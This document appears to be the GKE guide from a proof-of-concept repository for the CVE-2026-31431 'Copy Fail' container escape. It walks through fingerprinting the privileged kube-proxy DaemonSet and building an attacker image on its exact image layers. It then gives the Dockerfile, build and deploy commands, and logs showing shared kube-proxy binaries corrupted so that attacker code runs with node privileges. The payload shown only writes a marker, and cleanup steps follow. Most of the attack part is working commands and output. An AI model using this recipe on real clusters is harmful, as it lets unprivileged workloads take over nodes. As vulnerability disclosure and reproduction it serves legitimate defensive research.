Reproducing the CVE-2026-31431 (Copy Fail) container escape on Google Kubernetes Engine (GKE). The attack principle is identical to the ACK and EKS PoCs: exploit the kernel page-cache CoW race condition to corrupt binaries in shared image layers, causing the privileged GKE-managed kube-proxy DaemonSet to execute attacker-supplied code from a fully unprivileged Pod.
GKE's kube-proxy image is a Google release image with provider-specific layers. For this PoC, build the attacker image directly FROM the exact GKE kube-proxy image tag running on the target node. That guarantees the PoC container and privileged kube-proxy container share the target lower layers.
- GKE node kernel is not patched for CVE-2026-31431.
- GKE
kube-proxyruns withprivileged: trueandhostNetwork: true. - GKE
kube-proxyusesimagePullPolicy: IfNotPresent. - Attacker can deploy an unprivileged Pod in the cluster.
- The PoC image is scheduled onto the same node as the target
kube-proxyPod. - Local tooling: Docker, Go,
x86_64-linux-gnu-gcc,kubectl, and optionallygcloudfor node SSH.
Check the running kube-proxy DaemonSet:
kubectl get ds kube-proxy -n kube-system -o yamlRelevant fields from the target GKE cluster:
containers:
- command:
- /bin/sh
- -c
- kube-proxy --cluster-cidr=10.60.128.0/17 --oom-score-adj=-998 --v=2 --feature-gates=UnauthenticatedHTTP2DOSMitigation=true,KMSv1=true,WatchCacheInitializationPostStartHook=true --iptables-sync-period=1m --iptables-min-sync-period=10s --ipvs-sync-period=1m --ipvs-min-sync-period=10s --detect-local-mode=NodeCIDR 1>>/var/log/kube-proxy.log 2>&1
image: us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000
imagePullPolicy: IfNotPresent
name: kube-proxy
securityContext:
privileged: true
hostNetwork: true
serviceAccountName: kube-proxyThe target image is:
us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000
SSH to the GKE node:
gcloud compute ssh \
--zone "us-central1-f" \
"gke-cluster-1-default-pool-f5051d2c-bcdm" \
--project "project-88e216b7-9d95-461b-b1d"On the node, check the runtime and kube-proxy container:
sudo crictl ps
sudo crictl pods --namespace kube-system
sudo crictl imagesIf the node has ctr instead of crictl:
sudo ctr -n k8s.io containers list
sudo ctr -n k8s.io images listConfirm that the running kube-proxy image matches the tag identified in Step 1.
Observed on the target node:
Linux gke-cluster-1-default-pool-f5051d2c-bcdm 6.12.68+ x86_64
Container-Optimized OS from Google, VERSION_ID=125, BUILD_ID=19216.220.72
crictl=/usr/bin/crictl
ctr=/usr/bin/ctr
kube-proxy container:
470b05c117f8f b3b6a38711797 Running kube-proxy
kube-proxy image aliases cached by containerd:
gke.gcr.io/kube-proxy:v1.35.3-gke.1234000
gke.gcr.io/kube-proxy-amd64:v1.35.3-gke.1234000
us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000
us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy-amd64:v1.35.3-gke.1234000
image ID: b3b6a38711797
manifest digest in containerd: sha256:5f8df7d02393169e2b728a7f63938666dcb07d8e466071452d7de645a793c3eb
platform: linux/amd64
Inspect the GKE kube-proxy image:
docker inspect us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000Important fields from the inspected image:
{
"Id": "sha256:b3b6a387117970a387072478d10152b7029414b1bacb7d9b43e76e19df770e3f",
"RepoDigests": [
"us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy@sha256:6e9bbe163b56ffcb566e02b92f3b29fa151cadcd0cef5f1dc2867dbd3e247b9a"
],
"Created": "2026-03-27T05:21:32.963529088Z",
"Labels": {
"LICENSE_SCAN_TAG": "distroless-iptables/ref_HEAD_121e6ecdddb84cbfd46fd3e4bf5ffa25ad98a562"
},
"Architecture": "amd64",
"Os": "linux",
"Size": 122338655,
"RootFS": {
"Type": "layers",
"Layers": [
"sha256:c0707a87cffd54d9611c287f2ce5d58960a9843e593a4339409e7c3c25f63b53",
"sha256:4c51e6499d14221e8b531d74c8da4f36ed89298067f553610d6036abadfafc8c",
"sha256:41755e4386d78c4e707bfa74bb32e5828c4c02ddea055ef758a31d8e51c7b50b",
"sha256:1f76520147589a1a332325f072651b2166144b3727260fd761c7040c659dc8a6",
"sha256:a531cce44639504248eda04f7d09019982a2fa85b31d9427f7981affeaf5d3a1",
"sha256:6f13a1ccc2a12e22f0e505833b951665798836e5541498407db3de4c1910e108",
"sha256:7fea5983860ffe273e6e240d3a01946b0f92b61bfcf1385d827abc0abb6d8aef"
]
}
}The image has 7 layers. Target binaries such as /usr/sbin/ipset, /usr/sbin/nft, /usr/sbin/xtables-legacy-multi, and /usr/sbin/xtables-nft-multi are available through these layers and are the binaries patched by the PoC.
The image label points to Kubernetes release tooling:
distroless-iptables/ref_HEAD_121e6ecdddb84cbfd46fd3e4bf5ffa25ad98a562
The corresponding release Makefile is:
https://github.com/kubernetes/release/blob/121e6ecdddb84cbfd46fd3e4bf5ffa25ad98a562/images/build/distroless-iptables/Makefile
It references:
IMAGE_VERSION ?= v0.8.8Inspecting registry.k8s.io/build-image/distroless-iptables:v0.8.8 shows a single layer:
{
"Id": "sha256:cb9c6a556c5ba13fd1442e27a73ba5b43a35bec87f05962c2285b865cd7f5bee",
"RepoDigests": [
"registry.k8s.io/build-image/distroless-iptables@sha256:cb9c6a556c5ba13fd1442e27a73ba5b43a35bec87f05962c2285b865cd7f5bee"
],
"Created": "2026-02-12T09:23:05.450951975Z",
"Architecture": "amd64",
"Os": "linux",
"Size": 11515599,
"RootFS": {
"Type": "layers",
"Layers": [
"sha256:ff32924af9e3fb95556a4b30b9ba3308ef7a01946b0f92b61bfcf1385d827abc0abb6d8aef"
]
}
}This layer does not match the first layer of the GKE release image. Therefore, unlike the EKS PoC where a public base image can be matched directly, the GKE PoC should build directly from the exact GKE kube-proxy image:
FROM us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000Dockerfile.gke is built directly FROM the same image as the GKE-managed kube-proxy DaemonSet:
ARG GKE_PLATFORM=linux/amd64
FROM --platform=$GKE_PLATFORM alpine:3.20 AS busybox
RUN apk add --no-cache busybox-static
FROM --platform=$GKE_PLATFORM us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000
COPY --from=busybox /bin/busybox.static /bin/busybox
RUN ["/bin/busybox", "--install", "-s", "/bin"]
COPY bin/copyfail /bin/copyfail
CMD ["/bin/copyfail"]The added busybox and copyfail layers sit above the original GKE kube-proxy layers, so the lower layers remain shared with the privileged kube-proxy container on the node.
GKE node images vary. Container-Optimized OS (COS) commonly has a read-only root filesystem and a writable stateful partition, while Ubuntu node images use a conventional writable root filesystem. payload/payload-gke.c therefore tries common GCE/COS/Ubuntu device and filesystem combinations and writes the marker to the first writable host path it finds:
/root/res
/copyfail-res
/mnt/stateful_partition/copyfail-res
When mounted under the payload's temporary /mnt, these correspond to:
/mnt/root/res
/mnt/copyfail-res
/mnt/mnt/stateful_partition/copyfail-res
# Compile GKE payload + Go binary + build Docker image
make docker-build-gke
# Build and push to GHCR
make docker-push-gke IMAGE=ghcr.io/<you>/copy-fail-cve-2026-31431-kubernetes-pocIf pulling the GKE base image from Artifact Registry is flaky, pre-pull it with retries and then rerun the build:
docker pull --platform linux/amd64 --retry 5 --retry-delay 10s \
us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000
make docker-build-gkeThe default GKE build target uses PLATFORM=linux/amd64 to match the inspected image. For arm64 nodes, first confirm the GKE kube-proxy tag has a matching arm64 manifest, then build with matching Go, C, and image platforms:
make docker-build-gke CC=aarch64-linux-gnu-gcc GOARCH=arm64 PLATFORM=linux/arm64If you can SSH to the node, pre-pull or confirm the image is locally cached:
sudo crictl images | sed -n '1,120p'The target kube-proxy image should already be present because the GKE-managed DaemonSet is running on the node. If needed:
sudo crictl pull us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000When the PoC image is pulled, containerd should reuse the GKE kube-proxy lower layers.
kubectl get ds -n kube-system kube-proxy -o jsonpath='{.spec.template.spec.containers[0].securityContext}'Expected output should contain:
{"privileged":true}Also confirm host networking:
kubectl get ds -n kube-system kube-proxy -o jsonpath='{.spec.template.spec.hostNetwork}'Expected:
true
Update deploy/poc-gke.yaml to point to the registry where you pushed the :gke image, then deploy:
kubectl apply -f deploy/poc-gke.yamlFor a single-node validation without pushing to a registry, import the locally built image into the target node and run a node-pinned Pod:
docker save -o /tmp/copyfail-gke.tar \
ghcr.io/percivalll/copy-fail-cve-2026-31431-kubernetes-poc:gke
gcloud compute scp \
--zone "us-central1-f" \
--project "project-88e216b7-9d95-461b-b1d" \
/tmp/copyfail-gke.tar \
"gke-cluster-1-default-pool-f5051d2c-bcdm:/tmp/copyfail-gke.tar"
gcloud compute ssh \
--zone "us-central1-f" \
"gke-cluster-1-default-pool-f5051d2c-bcdm" \
--project "project-88e216b7-9d95-461b-b1d" \
--command 'sudo ctr -n k8s.io images import /tmp/copyfail-gke.tar'Then deploy a temporary Pod with imagePullPolicy: Never and nodeName: gke-cluster-1-default-pool-f5051d2c-bcdm.
The Deployment creates a single unprivileged Pod that:
- Runs
/bin/copyfailto corrupt the page cache ofipset,nft, andxtables-*binaries in the shared image layers. - Sleeps indefinitely so the Pod stays running for observation.
imagePullPolicynote: The manifest ships withimagePullPolicy: Neverfor the manual-import workflow described above. If you push the image to a registry accessible by the cluster, change it toIfNotPresent.
kubectl logs -f deployment/copy-fail-poc-gkeExpected output should include one or more patched binaries:
patched /usr/sbin/ipset
patched /usr/sbin/xtables-legacy-multi
patched /usr/sbin/xtables-nft-multi
patched /usr/sbin/nft
Some targets may be skipped if the binary is not present in this GKE image. The PoC only needs at least one target binary that kube-proxy later executes.
When GKE kube-proxy executes a corrupted binary during its normal reconciliation loop, the payload writes a marker file on the host filesystem.
gcloud compute ssh \
--zone "us-central1-f" \
"gke-cluster-1-default-pool-f5051d2c-bcdm" \
--project "project-88e216b7-9d95-461b-b1d"Run these commands once per target node to record the exact GKE node image and storage layout:
sed -n '1,40p' /etc/os-release
findmnt /
findmnt /mnt/stateful_partition 2>/dev/null || true
lsblk -fThis confirms which path should contain the marker:
| Node image | Most likely marker |
|---|---|
| Ubuntu node image | /root/res |
| COS node image with writable stateful partition | /mnt/stateful_partition/copyfail-res or /copyfail-res |
Observed on the target COS node:
/ /dev/dm-0 ext2 ro,relatime
/mnt/stateful_partition /dev/sda1 ext4 rw,nosuid,nodev,noexec,relatime,commit=30
This is covered by payload/payload-gke.c: it mounts /dev/sda1 as ext4 and writes /copyfail-res inside that mounted filesystem, which appears on the host as /mnt/stateful_partition/copyfail-res.
sudo test -f /root/res && sudo sed -n '1p' /root/res
sudo test -f /copyfail-res && sudo sed -n '1p' /copyfail-res
sudo test -f /mnt/stateful_partition/copyfail-res && sudo sed -n '1p' /mnt/stateful_partition/copyfail-resExpected output from one of the files:
[*] success
The marker proves attacker-supplied code executed with node-level privileges from the privileged GKE kube-proxy container context while the attacker's Pod remained unprivileged.
Observed end-to-end result on the target node:
PoC Pod log:
patched /usr/sbin/ipset
patched /usr/sbin/xtables-legacy-multi
patched /usr/sbin/xtables-nft-multi
patched /usr/sbin/nft
Host marker:
/mnt/stateful_partition/copyfail-res: [*] success
# Delete the PoC Deployment
kubectl delete -f deploy/poc-gke.yaml
# On the affected node, remove all possible marker files
sudo rm -f /root/res /copyfail-res /mnt/stateful_partition/copyfail-res
# Remove a locally imported PoC image, if used
sudo crictl rmi ghcr.io/percivalll/copy-fail-cve-2026-31431-kubernetes-poc:gke 2>/dev/null || true
sudo rm -f /tmp/copyfail-gke.tar
# Drop page cache and restart kube-proxy on the target node to force image layer re-read
sudo sh -c 'sync; echo 3 > /proc/sys/vm/drop_caches'
kubectl delete pod -n kube-system -l k8s-app=kube-proxy --field-selector spec.nodeName=<node-name>GKE release images are provider-managed Artifact Registry images. The image label references Kubernetes distroless-iptables, but the inspected public build image layer did not match the GKE release image's layers. Building FROM the exact GKE kube-proxy image avoids guessing the private build lineage and guarantees layer sharing with the target container.
Google Container-Optimized OS mounts the root filesystem read-only for integrity. The GKE payload therefore checks both conventional root markers and COS-style writable stateful markers. If the marker lands in /mnt/stateful_partition/copyfail-res, that is still host filesystem write access from the privileged DaemonSet context.
| Dimension | EKS (AWS) | GKE (Google Cloud) |
|---|---|---|
| kube-proxy image source | *.dkr.ecr.*.amazonaws.com/eks/kube-proxy |
us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy |
| Base strategy | Match public eks-distro-minimal-base-iptables |
Build directly from exact GKE kube-proxy image |
| Node image | Amazon Linux 2/2023 | COS_CONTAINERD or Ubuntu |
| Marker path | /root/res |
/root/res, /copyfail-res, or /mnt/stateful_partition/copyfail-res |
| Dockerfile | Dockerfile.eks |
Dockerfile.gke |
| Payload source | payload/payload-eks.c |
payload/payload-gke.c |
| Build command | make docker-build-eks |
make docker-build-gke |
| Deploy manifest | deploy/poc-eks.yaml |
deploy/poc-gke.yaml |
.
├── Dockerfile.gke # GKE PoC image build file
├── payload/payload-gke.c # GKE node validation payload
├── deploy/poc-gke.yaml # GKE deployment manifest
├── Makefile # Includes *-gke build targets
└── docs/gke-poc.md # This document